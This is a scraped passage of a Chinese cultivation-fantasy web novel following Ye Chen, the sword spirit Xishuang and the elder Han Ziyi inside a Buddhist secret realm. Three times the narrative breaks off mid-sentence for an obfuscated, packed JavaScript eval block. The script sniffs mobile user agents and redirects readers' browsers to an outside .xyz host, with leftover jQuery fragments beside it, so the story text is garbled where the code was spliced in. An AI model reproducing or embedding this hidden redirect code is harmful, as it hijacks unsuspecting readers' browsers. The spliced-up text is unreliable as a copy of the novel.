RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426998|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都要说我辈修士无用了。” 宋以安这下听出来了,道:“这个秘境是关于当年灵山惨案的?可是这灵山惨案不是妖鬼犯下的吗,他们上哪去抓妖鬼?” 灵犀却冷笑一声,道:“恐怕不是想抓凶手,真想抓凶手的人自己就行动了,何必闹这么大动静,简直像扯着旗子告诉人我们来抓你了一样。” 宋以安没听明白这话,转头去看叶琛,却发现她的目光紧紧黏在清虚长老身上,简直有些灼热了。 这......清虚长老这么好看吗? 宋以安纳闷地看过去,心道也是两只眼睛一个鼻子啊,还没先前那位剑首好看。 被众人簇拥的清虚长老看上去仍是青年模样,反正从外貌上是绝对看不出真实年龄的,甚至身旁伏低做小的青衣人都看上去比他沧桑许多,但这人身上却有种让人移不开眼的气质。 他有一双忧郁而平静的眼睛。 这双眼睛平淡地扫过桌上所有人,什么都没说,却仿佛能窥见所有藏在台面下的心思,最后淡声道:“我明日会去灵山招魂,届时便知道凶手是谁了。” 一石激起千层浪。 马上就有人道:“清虚长老,您可是幻境大能,差一步就能迈入圣境飞升了!为此案拿自己身家性命去招魂??这也太......” 太浪费了。 叶琛在心里补充完后半句。 桌上许多人互相对视,都在对方眼中看到了不可置信的神色,清虚长老又咳嗽一声,一锤定音:“我于灵山有故,此事不会更改,诸位道友若明日有意上灵山见证此案昭雪,我无立场阻拦,但若是想阻止此事。” 他目光平静地扫过在场每一个人,平声静气道:“韩某必不轻饶。” 说完这句,他便起身离开。 十几个修士围桌而坐,许久,才开始三三两两议论方才的事。 先前叫得最响的那个修士语气霎时低了下来,问道:“这韩子仪竟真要去查凶手?还不惜用招魂?这可不好办了。” 主座青衣人摇头道:“且看着吧,今日你们还是太过火了,即使我们知道他同灵山有故,对此案绝不会坐视不理,但你们演技着实拙劣了些。” 他又道:“毕竟我们的目的并不是什么凶手,我们要做的,是把清虚抓住,他是个法修,不像剑修体修他们逼到绝境真会发疯,法修么,如果脱离了阵法,也就是废人一个。” 先前那修士问道:“这个我懂,但是我们为什么要选清虚呢,虽然他也算幻境修士,但从前就算是追随四圣的那批人里,他也是实力最弱的那个,我们为何不选个强些的?” 青衣人笑了,道:“你以为这是魔教传功嘛,我们困在灵境已久,抓个强些的就能炼化其修为,为己所用?” 那修士茫然地摇了摇头。 青衣人解释道:“四圣飞升后,世间再无修士飞升的消息,能修炼至幻境的修士都寥寥无几,最厉害的修士还是当初追随四圣的那些人,你知道这是为什么吗?” “为什么?”那人仰头,疑惑道。 13. 十三 青衣人低低咳嗽一声,道:“是因为四圣和当初那群修士,有一套自己的修炼法门。” “而且我猜,到了四圣那个境界,他们的所作所为,是可以直接影响到下面的修士的。” “顺我者昌,逆我者亡,不外乎此。可惜我们晚生了几千年,不然成了四圣党,今日说不定已经到幻境了。” 他轻轻叹了口气:“其实我也不想对前辈出手的,但只有四圣那个时代的修士可能有进境的法门,我们也只是想早点到幻境而已。” 青衣人目光缓缓扫过桌上所有人,心里明白他们为何聚集于此。 灵山一案只是凑巧,清虚是四圣时代少数遗留在世间的修士,这个境界的修士通常一头扎进深山老林,一闭关就是几百年,极少行走世间。 当年四圣若是遗留下有关进境的法门,也只有这些人知道了。 所以,只有抓住这次机会,从清虚口中得知突破幻境的关键,他们才有机会在修行之路上继续走下去。 青衣人手掌在桌下缓缓摊开,他手背已经开始长出老人斑,皮肤不再光洁而有弹性,这是身体开始衰老的征兆。 他今年一千五百岁,是这群人里年纪最大的。 他们这些人看着年轻,实则老矣,若无法进境,再过几十年肉身便会慢慢腐朽,与凡人无异。 可既已叩问仙门大道,又有谁甘心止步于灵境呢? * “所以这些人想趁那个清虚长老不备时控制他,逼问他的突破法门?”宋以安捋了捋方才听的墙角,有些不解,“可是阿珍,我总觉得有哪里不对啊。” 从酒楼出来,几人走在街道上,浮屠地近灵山,灵山惨案一出,许多人都在议论这事,生怕灾祸蔓延到浮屠这边。 叶琛微微仰头,露出一截瘦削素白的下颌:“你觉得哪里不对?” 宋以安思考了一会儿,才缓缓道:“佛宝构筑了一个五百年前的世界,时间恰好是在灵山惨案刚刚发生后,我在想,这个秘境想让我们做什么?” 有的秘境一进去就是危机重重,闯过所有关卡就能得到最后的机缘,但眼前的秘境显然不属于此类。 也就是说,在佛宝构筑的秘境里,主线任务是需要她们自己去找的。 叶琛沉吟道:“当年灵山惨案无非围绕着几个人展开,那位清虚长老、应召而来的妖鬼、还有死去的灵山修士。如果我们一直关注这些人......” 后半段话戛然而止。 街上行人如织,方才因为大雨滞留在附近商铺的人纷纷趁着雨停间隙赶回家去,沿街的小店陆续又开门做生意,叶琛同宋以安讲话,没看路,不知不觉已经走到一台沿街叫卖的推车前。 先前拂袖而去的清虚长老,正长身站在路摊前,手里拿着一串冰糖葫芦。 宋以安脸上露出讶异的神情,张了张嘴,却没能说话。 叶琛也惊讶极了,但转念一想,方才酒楼的小二都没看见她,这修士虽已至幻境,但也未必就能发现她们。 她们在原地站了一会儿,那蓝衣修士果然没注意到她们,手里多挑了几串冰糖葫芦,甚至轻快得哼起了不知名的小调。 叶琛了然,左手拉着灵犀,右手挽着宋以安,如寻常行人一般从他身侧穿过。 两人擦肩而过那那一瞬,叶琛隐隐闻到他身上传来一阵药味。 一步、两步、三步。 越来越远。 叶琛三人往前走,身后来自幻境修士的威压越来越淡,最后几乎感觉不到了。 走出一阵,宋以安忽然问道:“阿珍,我们为什么要躲着他啊?” 叶琛挑了家茶铺坐下,给三人各自倒了碗茶,才道:“我们还没搞清佛宝要我们做什么,又和季知年他们走散了,凡事低调些好。” “而且还有一个问题。”叶琛抽出腰间长剑,霜华流转,出鞘时带起一阵冰凉的寒气,空气中顿时飘起一阵白雾。 她闭上眼感受这阵寒气,薄唇透出一丝殷红的血色,缓缓皱起眉, “从今早开始,我就和我们剑首联系不上了。” * 另一边。 季知年不远不近地缀在洗霜身后,他周围是川流不息的人群,店铺沿街,热闹又红火。 但更远一些,高大的山脉和城门,却全笼罩在阴影中。 就像整个世界,只有他所在的地方是亮的。 季知年尝试过去阴影中探索,却刚靠近就差点被阴影里的东西拽进去,那东西不知道是什么,力气大极了,要不是他身边这位剑首一剑斩断了那些枯瘦的腕足,他绝对没有这么容易脱困。 可在他获救后真诚地向这位剑首道谢时,洗霜只冷淡地瞥他一眼,淡声道:“你我一同被拉入秘境,若你死在里头,你师妹又该难过了。” 季知年一愣,一时没听懂这话。 他若是死了,宋以安会难过不假,但是这位剑首是何时同他师妹这么熟的? 他和宋以安一路就没讲过话啊! 但是没听懂就没听懂吧,季知年一直觉得难得糊涂,也没问出心里的疑惑,更让他在意的是,他和洗霜一路走来,一直没有碰见宋师妹和叶姑娘。 宋以安修道比他晚,境界也低些,叶姑娘更是年纪还小,难道这秘境是根据修为来分派的? 季知年这般想着,往前看,那位剑首却不知怎么停了下来。 他素白的衣摆边散落着几颗山楂,一个小姑娘呆愣地望着地面,嘴张开又合上,就要伸手去捡已经沾满尘土的山楂。 洗霜眉心轻微蹙了下,把一串糖葫芦塞进她手里,阻止了她弯腰去捡的动作。 小姑娘捧着那串冰糖葫芦,浓密的睫羽小扇子似的眨了眨,低声道:“......谢谢。” 洗霜倏地抬眼,神色冷淡:“这本就是你的,何必谢我。”” 这孩子捧着几串糖葫芦,在街上跑,突然撞到洗霜,手里的东西全飞了出去,其中一串正好落在洗霜怀里。 她确实没必要谢他的。 但小姑娘却很认真地摇了摇头,道:“我哥哥教我,如果有人帮你,你是要道谢的,世上好心人本来就少,没缘由帮你的人更少,如果遇到了,是要谢谢人家的。” 她又从自己那串糖葫芦上拔下一颗山楂,犹豫片刻,还是递给了面前的仙君,软声软语道:“谢谢你。” 洗霜目光落在那颗山楂上一刹,心中忽然闪过一道极细的光,问道:“你哥哥是谁?” 小姑娘语气天真:“哥哥就是哥哥啊。” 洗霜摇头,微微垂下眼:“我是问,你哥哥叫什么。” 小姑娘嘟起嘴,不解道:“就是叫哥哥啊,诶,哥哥有名字吗?” “好像是有的......但是他好久不回来,我已经忘了。” 她好像陷入了巨大的迷茫之中,一旁的季知年见此,干脆问起另一件事:“小妹妹啊,你今天有没有见过一个穿红衣服的女修和一个黑衣姑娘,她们和浮屠城的人打扮都不一样,应该很好认的。” “那红衣女修背着一把重剑,银白色的,和我差不多高,你仔细想想,有没有见过?” 小姑娘顺着季知年的描述仔细回想,白嫩的脸蛋慢慢浮起绯红,却怎么也想不出来。 她垂头丧气地摇了摇头:“对不起,我没有见过你要找的人。” “但是你要找人的话,去找浮屠城西的‘百事通’更快啊,那个瞎子什么都晓得的。”她叹了口气,又说,“如果我哥哥回来了,他一定知道这两个人在哪的,如果我等到他,就让他帮你们找。” 洗霜皱眉道:“为什么你哥哥一定知道?” 女孩眨了眨眼,歪头看他:“知道就是知道啊,这需要什么理由呢?” 她抱着自己的糖葫芦开开心心走远了,洗霜还站在原地,似乎在思考方才女孩的话,季知年只好同他商量:“剑首大人,要不我们先去城西问问‘百事通’?” 半晌,他才听到这位剑首“嗯”了一声。 然而到了城西,季知年才发现,这个百事通确实很有名气,槐树下支了个摊子,来问事的人络绎不绝,但——不管季知年怎么问,这个百事通都没有回答他。 就像他根本听不到他说话一样。 季知年觉得挫败,但是转瞬又疑惑起来,方才的小姑娘,怎么就能很顺畅地和他们交流呢? 两人在浮屠城里转了一圈,没看到一点宋以安和叶琛的影子,阴影没有覆盖的地方,也就只有外面的树林没有找过了。 天色慢慢暗下来,虽然不抱希望,季知年还是问洗霜要不要再去树林里找一找。 结果树林里除了乱跑的鸟雀什么都没有,天全黑了,浮屠城的城门也已经落下,季知年熟练地生起火,围着火堆烤刚抓到的野鸡,抬起眼,洗霜离这堆火很远,栖在树上,转瞬树枝就泛起层层叠叠的霜花。 季知年远远望了他一眼,到嘴边的话就缩了回去,他咬了一口油汪汪的鸡肉,决定在找到叶姑娘之前,还是不要再和这位剑首说话了。 也不知道叶姑娘平时是怎么和这位剑首相处的,就,不说话吗? * 如果此时有人从高处俯瞰,不仅会看到一堆明亮的篝火,还会看到附近一棵亭亭如盖的古树上,竟然结起了重重冰挂。 夏夜,冰雪并不融化,洗霜所在的这棵树从树冠到枝干,挂满了冰花,他栖在树上,熟悉的冰雪气息萦绕周身,垂目看去,季知年正在大口吃肉。 季知年其实是个很识趣的人,隐隐感觉到洗霜不太喜欢他,就很少自讨没趣。 如果叶琛在这里,他们应该会聊得很热闹的。 洗霜想起当初和叶琛下山的时候,她总是提起闲云宗和她师兄多么多么好,白日抿唇冷脸的小姑娘,一说起自己师门,眉眼弯弯,满是笑意。 烛火照红了她的脸,叶琛一边叹息妖鬼毁掉了农田和庄稼,山下好多人家都外逃了,那家卖桂花糕的点心铺子也关了门。 一边又说起从前闲云宗的日子,每到春天,花开得漫山遍野都是,师姐们就会拿野花做各色花汁染指甲,有师姐趁大师兄睡着的时候,偷偷给他十根手指染了不同颜色,像在手上开染坊一样。 她说的一切,对他来说都那么新奇。他听她说了很久,有些好奇:“花汁染指甲是什么样的?” 叶琛朝他眨了眨眼,一根手指抵在唇边,神秘兮兮的:“这个东西,要自己体验过才明白,你想知道,我就给你染。” 洗霜想象了一下,自己顶着十个不同的指甲盖的样子,觉得太奇怪了,但是好奇心又被叶琛勾了起来。 于是当天晚上,叶琛又问他要不要染,眼瞳闪着盈盈的光,灵动狡黠,一看就满肚子坏水。 但他看着她的眼睛,忽然想起了苍云山偶尔出现的雪狐,皮毛雪白,睫毛纤长,蓬松的尾巴把自己团成一团,趴在雪里。 仿佛已经和苍云山终年不化的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426999|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰雪融为一体。 但如果有猎物经过,它就会忽然睁开黑曜石般的眼睛,扑向猎物,只需要短短几秒,猎物已经被拆吃入腹。 眼前少女滴溜溜乱转的乌黑眼珠,像极了他曾见过的那只雪狐。 等雪狐从他脑中消失的时候,只剩最后一个指甲盖没被染完。 叶琛的手很烫,这样攥着他的手,认真地把花汁涂在他手上,便连目光都带上浓烈的烧灼感。 他猛地抽回手。 小拇指的指甲盖被涂完一半,他迎着少女错愕的目光,低声道:“太烫了,你体温好高。” 叶琛怔愣片刻,挠了挠头:“哦,我第一次摸你的手,也觉得你好凉,像雪一样,我都怕我捂化了。” 半晌,她看着他最后半个指甲盖,提议道:“那我这次不碰到你,给你涂完?” 手上,因为他方才猛烈的动作,红色的凤仙花汁斜出一半,在手背划出一道殷红的纹路,红梅映雪,纷纷而落,像少年人积满书箧的心事,又容易激起某些荒谬的联想。 两人此时距离极近,叶琛温热的气息喷在他手背上,像雪狐湿漉漉的呼吸。 他垂下眼,将挽起的衣袖放下,遮住染红的指尖。 “不用了。” 他道。 * 仔细想来,他和叶琛最开始认识的时候,其实是很轻快的。 他也确实觉得,这位剑修在剑道上的天赋世所罕见,他们不过同行一路,她就能把一路上他用过的剑招全部复现出来,她的剑并不叫洗霜,而是叶琛她自己。 所以后来万剑阁的剑首和这位剑道天才结契,也是理所当然。 洗霜唯一不能理解的是,他看好的剑修竟会为了个凡人失魂落魄,剑都拿不稳了,宁愿拿自己半生修为吊着那人的命。 但后来他在凡间待久了,情爱故事听过许多,似乎又明白了一点——因为叶琛喜欢那个男人,所以她赔上自己都要去救他。 等他明白这点的时候,他已经与叶琛吵过好几次架,每次都不欢而散,但又因为剑契冥冥中的牵引,他们总会再次相见。 有时候是秘境里碰见,有时候是洗霜不知怎么就走到了闲云宗门口。 所以他又想,自己是不是太严苛了,对于剑灵来说,剑道上的修行就是全部,但对于叶琛不是。 她有她的爱人,她的生活,她的生命是和他不一样的。 他以为自己可以慢慢接受这件事情,直到叶琛有一天说要解除剑契。 她说:“我于剑道已难以进境,不如你我解契,你可以再寻一位剑修结契,也好早日突破幻境。” 他已经不记得自己当时是什么心情,只记得他最后对她说:“叶琛,你以为剑契就像你去买桂花糕,想买就买吗?” 凭什么要结契的是她,提出解契的也是她,他就只能被动接受? 他想,难道叶琛就因为喜欢那个男人,如此决然地放弃了自己在剑道上的天赋和修行吗? 参天巨木上,霜花簌簌而落,季知年在睡梦中隐约听见风雪呼啸的声音,不愿睁眼,翻过身拿手捂住耳朵,接着睡去。 洗霜栖身在这株古树上,眉眼低垂,火光映着季知年的侧脸,他的眉眼走势很温柔,像冬日汩汩冒泡的热泉。 他长得有些像一个人,有段时间洗霜几乎天天见到那张脸,那人总来给叶琛送点心,也教她写字,谈不上哪里不好,但洗霜就是直觉不喜欢那人。 后来叶琛忽然要和那人成婚,他也觉得奇怪极了。 直到听多了凡间的情爱故事,他听到这样一种说法——其实人终其一生都在爱一个人,后来遇到的所有人,都成了那个人的注解。 此时近距离看季知年的脸,他忽然就明白了过来。 叶琛或许并不是爱苏二爱到了要弃剑道不修的地步,而是对这位早死的大师兄余情未了。 几点冰花砸在季知年鼻尖,他脸上瞬间结了一层冰霜,一激灵从地上爬起来,入手冰凉一片,是水。 下雨了? 他抬眼看了眼夜空,万里无云,是个晴夜。 季知年抖了抖肩,把脸上的水擦干净,抬眼望向远处的古木,那位剑首仍然栖在树上,姿势都没换。 总不好因为疑似有人往自己身上洒水,就去问他吧。 季知年犹豫了一会儿,还是觉得算了,反正已经醒来,干脆开始收拾地上的火堆。 洗霜坐在一根手臂粗细的树枝上,冷眼看着季知年把自己的痕迹清理干净,一会儿,又觉得这行为确实幼稚极了,抬手用灵力凝出一柄长剑,试图感应到叶琛手里那把剑。 按理说,他是洗霜剑修出的灵身,除非被强有力的阻隔隔断,他不该找不到自己的剑的。 但自从秘境把他们几个人分开,他确实和自己的剑失去了联系。 此时尝试感应,他也没觉得能成功。 果然,灵剑周身荡漾出柔和的灵光,一圈圈扩散,过了许久,仍然没有回应。 洗霜垂下眼帘,手中灵剑旋即溃散成漫天光点,树下,季知年试探着拍了拍树,在问他之后如何打算。 洗霜很轻地落到地面,刚想和季知年说话,手中只剩一个剑柄的灵剑忽然传来一道试探的问询。 “洗霜?你能听到吗?” 他倏地抬眼,剑柄中又传出那道他再熟悉不过的声音,带着点软意的试探,和他熟悉频率的呼吸。 “我是叶琛。” 14. 十四 茶铺。 叶琛喊出那一声后,其实没想过对面会有回应。 坐在对面的蓝衣修士却笑眯眯地鼓励道:“再试一试,说不定会有回应呢。” 叶琛摇头:“明知道会失败的事情,干嘛要再做一次呢。” 她的手落在剑柄上,剑身修长,通体如凝冰般晶莹剔透,和剑身接触的桌面已经结了一层冰,冰雪蔓延到叶琛手上,又慢慢消退。 方才她们在这张木桌前坐下,转身就碰到了清虚长老。 他坐在她们身后,慢慢喝完一盏茶,才抬眼看向叶琛,准确地说,是看向她腰间的剑。 清虚长老定定瞧了那剑一会儿,感慨道:“想不到在佛子这还能见到万剑阁的剑,此剑有灵,小姑娘,你的剑灵呢?” 叶琛微微蹙眉,先是不确定他真能看见自己,但在对方淡然又问了一遍后,只好回答:“走散了,没找到。” 清虚长老:“那你再找一找,对着剑喊一喊你的剑灵,说不定人家也在找你呢。” 秘境关键人物都这么说了,叶琛想了想,决定试试。 反正喊一声洗霜也不会掉块肉。 她拔出剑,放在桌子上,喊了几遍,果然没反应,她本来就料想到是这个结果,也不气馁:“清虚长老,你看,我说过找不到的。” 剑身雪白,倒映出少女清秀的面容,她长发利落地束起,眼尾微微下垂,长而卷翘的睫羽遮住神情,看起来相当乖觉。 清虚长老还是笑眯眯的,伸手点了一下剑身,宽大的袍袖拂过叶琛眼前,带起一阵淡淡的草药香气。 他道:“你现在再试试呢?” 片刻后。 叶琛听洗霜三言两语讲完他那边的情况,抬眼再看清虚,眼神有些复杂。 她犹疑道:“你为什么要帮我?” 清虚笑了笑,道:“因为我也有事需要你为我做啊。” 叶琛心道果然,但又觉得疑惑,这位据说和四圣同期的幻境修士,能有什么事需要她来帮忙? 旋即她就听到对方说:“我要你做的事,就是别喊我清虚长老了,这么小的姑娘,怎么也学他们老气横秋那一套。我叫韩子仪,清虚只是当年佛子随便给我取的法号,要我跟他出家当和尚去,也不知后来怎么就变成了我的名字。” 他轻轻叹了口气:“唉,人老了就是这样,昔日的朋友都不在了,现在的小辈也只会把你当牌位供着,还有胆子大的,想拿你当登云梯拆了炖汤喝。” 叶琛顿了下,从他话里砸吧出一点失意来,只好道:“韩......前辈,我不是那个意思。” 韩子仪止住她:“我并没有怪你,只是看你带着万剑阁的剑,觉得亲切而已。” 他回忆道:“当年万剑阁其实是最后一个落成的,你们那位剑圣,她做事总是一天一个想法,最后总算建好了自己的陵冢,还请我们一群人去做客。” “那时候大家都还在,也是我平生唯一一次上万剑阁,苍云山太冷了,也不知道她怎么会选这样冷的地方,哦,我在佛子这里很久没有出去了,那座山还叫苍云山吧?” 叶琛睫羽轻微抖动几下,点头:“那里现在还是叫苍云山,但是前辈,什么叫......佛子的地方?” 韩子仪似乎真在履行前辈的义务,好脾气解释道:“你们都进入这个秘境了,总不会一点不知道?佛子造出这个境,本就是用来关押一些人和事。” 叶琛皱眉:“为什么要关押呢?谁做错了什么吗?” 韩子仪:“也许是我做了错事,也许是别人做了错事吧,我在这里关了太久,不太记得了。” “你们要离开这个秘境的话,等我去灵山见过故人,这个小周天就该结束了,且再待几日吧。” 叶琛更深地皱起眉,思索片刻,还是道:“前辈,如果你招魂失败,招回的并不是故人,而是别的东西呢?” 韩子仪笑道:“照你这么说,难道因为知道注定要失败,就不去做吗?” 他摇了摇头:“我在这里待了太久,久到已经记不清为何被关进来,只依稀记得有人在灵山等我,如果我不去,那人会难过的吧。” * “事情就是这样啦。”叶琛轻轻叹了口气,“韩前辈要我们明日随他去灵山,这个小周天结束后我们就能出去,你们......应该那时候也能出去吧。” 他们这群人分在两处,总不是办法。 另一边洗霜还没说话,先传来季知年的声音。 他“嘶”了一声,道:“叶姑娘,那位韩前辈,大概长什么样子,你知道他全名吗?” 叶琛描述道:“蓝色道袍,发冠很整齐,叫韩子仪。” 对面季知年沉默了一会,才继续说话:“如果是韩子仪,那这次秘境可真是......很奇怪了。” 宋以安追问道:“师兄,韩子仪很有名吗?” 叶琛思考了一会儿,也道:“我好像也不曾听过他的名字,即使是凡间喜欢编排四圣在人间的戏文,往里面塞各种野史桥段,也几乎从未听过这人。” 季知年咳了一声,缓缓道来:“韩子仪,或许不如四圣有名,但对于法修来说,却是祖师爷一般的人物。” “也是近千年符法衰微,这一道再也不曾出过惊才绝艳的人物,才让这位当年与四圣不遑多让的符法天才,也慢慢淡出视野了。” 宋以安想起方才那个一脸平静的法修,难以相信:“师兄,可是这说不通啊,如果他当年与四圣齐名,又怎会如今只有幻境初期的修为,这么多年,他灵力被狗啃了吗?” “而且,几千年前的事,你怎么知道得这么清楚?” 季知年尴尬道:“书看得杂嘛,你也知道我是杂修,什么都学一点,虽然只有笛子吹得像样子,但杂书的确是看了不少的。” 若不是书读得多,他哪来这么多故事给师弟师妹们讲,当大师兄可真不容易,不仅要管闲云宗大小事务,还要管宗门那群小祖宗几点睡觉。 叶琛“哦”了一声,问道:“那书里怎么说?” 季知年:“书里说,韩子仪名门之后,是当年符法大家最小的关门弟子,年纪很轻就出门闯荡,一路消灾除厄,路上遇见了立志斩尽世间妖鬼的四圣。” “韩子仪钦佩四圣志向,当即说他也有此愿,世间妖鬼不除,他也不愿飞升。” 叶琛点评道:“嗯,少年下山,遇见一群同样的热血少年,之后呢,他跟着四圣到处除妖鬼吗?” “不,这就是有关他的全部记叙了。”季知年说,“之后他在外行走几年,就归隐了。” “归隐了?”叶琛心中一动,“他才出山几年,这个年纪的少年最是年轻气盛,期望有一番大作为,怎么可能耐得住呢?” 季知年摇摇头:“我也不知,总之,自韩子仪归隐以来,再未出过有大气候的法修。五百年前灵山惨案,还是他千年来第一次现于人前,世人才记起许多年前,有一位差点飞升的修士还在人间。” “灵山惨案......”叶琛仔细砸吧了下这四个字,又道:“人只要活着,总是不可能销声匿迹的,这位韩前辈活了这么多年,就算躲在山里,也该有些奇闻轶事流传出来。” 季知年:“关于这位前辈的传闻,确实是有的,但......说实话他的传闻都很......不好说。” 不好说? 有什么传闻是季知年都觉得难以出口的? 叶琛眨了眨眼,怀里还捧着出鞘一半的洗霜剑,就听到季知年道:“有人说,韩子仪爱上了一个凡人女子,不忍她跟着他奔波劳累,便同她隐居山林,白头偕老了;还有人说,韩子仪其实是找了个僻静地方钻研邪术,后来四圣封禁的十大禁术,许多都出自他手。” “还有一种说法......说韩子仪这么多年隐居,其实不是不想出世,而是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14440003|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢出世。他有个债主一直在找他,他就只好东躲西藏了。” 叶琛听完,很快明白这个“不好说”是怎么一回事了。 韩子仪这么多年到底在做什么,众说纷纭。每一种说法都像那么一回事,但细想起来,根本经不起推敲。 若是怜恤妻子,凡人寿数不过百年,他就算拿丹药和灵力吊着这人的命,也不是长久之计,不可能几千年不出山。 后两种说法就更站不住脚了,他若是做出那么多邪术,四圣封禁的时候就该把他也收拾了,岂能容他活到今日?若是有债主,能让一个差点飞升的修士退避三舍的,也只有四圣了吧。 而且叶琛转瞬又想到一个更为致命的问题—— 如果当初韩子仪是可与四圣比肩的符法天才,一步飞升,那他如今又为何跌落至幻境初期? 佛子的秘境,难道可以压制修士的修为吗? 她自己这具身体只有十六岁,修为约等于无,即使被压制了也感受不到,便去问洗霜,却听到他说没有感觉被压制。 洗霜的修为仍在灵境巅峰。 叶琛想了想,又问道:“若是你同韩子仪打起来,几成胜算?” 洗霜那边沉默了一会,才答:“若是只护住你,十成。” 叶琛对这个回答其实不太惊讶,灵境巅峰同幻境初期本就差得不多,而且剑道比符法一道更不依赖外物,韩子仪就算已至幻境,只要法阵未成型,他的战力约等于零。 但她仍有些好奇:“为什么说只护住我是十成,如果加上季知年他们,就只有□□成了吗?” 她心想,其实□□成也很高了。 谁知,洗霜说:“不想。” “啊?”叶琛没反应过来。 她仍然抱着这柄寒气逼人的长剑,寒霜之气顺着剑传导到她身上,又被她热烘烘的体温捂化,变成一层层白霜。 她怀中,洗霜的声音有点闷。 他重复道:“因为我不想管他们。” 啊...... 还真是意料之中的答案呢。 叶琛点了点头,也没管那边的洗霜根本看不见,说:“那就不管吧,说到底季知年也只是我从前的师兄,不是你的,你确实没必要管他们。” 她又道:“若是我同韩子仪或者别的什么人打起来,恐怕还得借你的剑,我现在的灵力,和凡人也差不多了。” 叶琛三月前死而复生,即使有上辈子的修为打底,这些时日也就堪堪破了筑境,只是比凡人多些寿数,若真和有修为傍身的修士打起来,恐怕不多时就要力竭。 但她手里的洗霜剑是灵剑,不需她注入灵力也能自行运转,灵力从哪里来,自然是本就在灵境巅峰的洗霜身上。 那边,洗霜没什么语气,说:“本来就是你的剑,你用就是。” 叶琛:“总得和你先说一声,不然你走着走着,灵力突然被凭空抽走一截,多可怕。” 洗霜沉默几秒,声音如冬日刚刚结冰的湖水:“你竟还会觉得可怕。” 叶琛再次点头:“世上可怕的东西很多啊,我小时候,收养我的叶婆婆刚死那会,我天天梦见她,也觉得可怕。哦,但是剑灵好像不会做梦,你大概没体验过。” 她说到这里,又觉得困倦,修为低就是这点不好,天黑了就想睡觉,第二天还要跟韩子仪去灵山,不知道后续如何发展,还是养足精力为好。 她刚想和洗霜道别,就听到剑里又传来他的声音。 洗霜忽然开口,他音质清且冷,像冬月吹了一夜的细雪,叶琛听着听着,就有些想睡觉的心思。 可洗霜下一句话,就让她彻底睡不着了。 他道:“季知年比苏二好。” “......” “啊?” 叶琛怔愣片刻,猛地从床上坐起来,以为自己听错了,迟疑道, “你......刚才说什么?” 15. 十五 洗霜静默半晌,下了定论:“至少季知年是个修士,不要你拿灵力吊着性命。” 叶琛却更糊涂了,她微微蹙眉:“可是季知年也不一定就会受苏二那样的伤啊,你这话说得好像他一定会遭遇生死劫难一样。” 然而这句话刚出口,叶琛就发现洗霜说的也没错,上一世,季知年的确是死在了浮屠塔的风波里,如果当初他也是如此被拉入秘境,在秘境中死去,那确实是很难被其他人发觉的。 思及此,她轻轻叹了口气,抿唇道:“就算有这样的劫难,我也会救他的。” 她从前受过师门许多恩惠,同这位大师兄交集虽不算多,但他确实是个地地道道的好人。 叶琛想,这样的好人,是不该客死异乡的。 叶琛还想说救季知年这事是她的,不必麻烦他,话没出口,就听到洗霜道:“你和季知年的事,本来与我无关,但我看你这个师兄,明显是更亲近他那位宋师妹的。” 洗霜握着半截剑柄,灵力凝结而成的剑柄被攥得太紧,他原本就白如霜雪的肌肤泛起道道妖异的殷红纹路,如凤仙花汁在素绢上倾覆,汁水四溢,花叶翩跹,触目惊红。 他掀起眼皮,望了一眼几十米外的季知年,冷淡道:“在他眼里,你是万剑阁的人,不是什么小师妹,因此他会敬你,与你交好,但一定会心存忌惮。” 洗霜挑剔地审视了一圈季知年,青衣修士姿态从容,气质温雅,腰间别着一支长笛,若只看背影,他与洗霜记忆中的苏二极为相似。 半晌,剑柄中才传来叶琛的声音, “我知道啊......宋以安是他师妹,也是我从前的师姐,季知年关心她不是很正常的吗?” 叶琛的声音有点疑惑:“但是忌惮......倒也不至于吧,他顶多想帮宋以安上万剑阁求剑,我对他还是有些了解的。” 叶琛觉得洗霜未免也太瞧得起季知年了,她这位师兄,只要人家不捅上他一刀,他都愿意相信这人是在给他演示刀法。 洗霜漠然:“既然如此,你好自为之吧。” 叶琛眼珠转了转,从洗霜这句话里砸吧出一点气来,纳闷极了。 她有哪里说得不对吗? 莫名其妙。 洗霜说完这句话后,好久没有说话,叶琛听着耳边隐隐传来的蝉鸣,忽然想到,洗霜是不是在树林里和她通讯? 那树林里有很多蝉吗?洗霜现在是不是站在某棵大树旁边? 问题兜转到嘴边,刚要问出口,洗霜却在良久无言中转了话题, “我今日听韩子仪提到万剑阁,他有一点说错了。” 他道:“万剑阁最开始的确是剑圣给自己准备的坟冢,但后来那位剑圣改了想法,觉得独乐乐不如众乐乐,于是万剑阁就成了所有剑灵的归所。” 叶琛觉得话题转得有点快,从季知年突然到了万剑阁,但又觉得也许洗霜有自己的用意,附和道:“嗯,也许韩子仪认识剑圣的时候,她还没有改变想法,他自己也说只去过一次万剑阁。” “他不可能不知道。”洗霜语气平淡地否决了叶琛的猜测,“万剑阁这个名字,就是源自剑圣‘大庇天下灵修’的构想,这份手札至今仍由阁中长老保存,而在剑圣的亲笔记叙中,是一位法修友人帮着取了这个名字。” 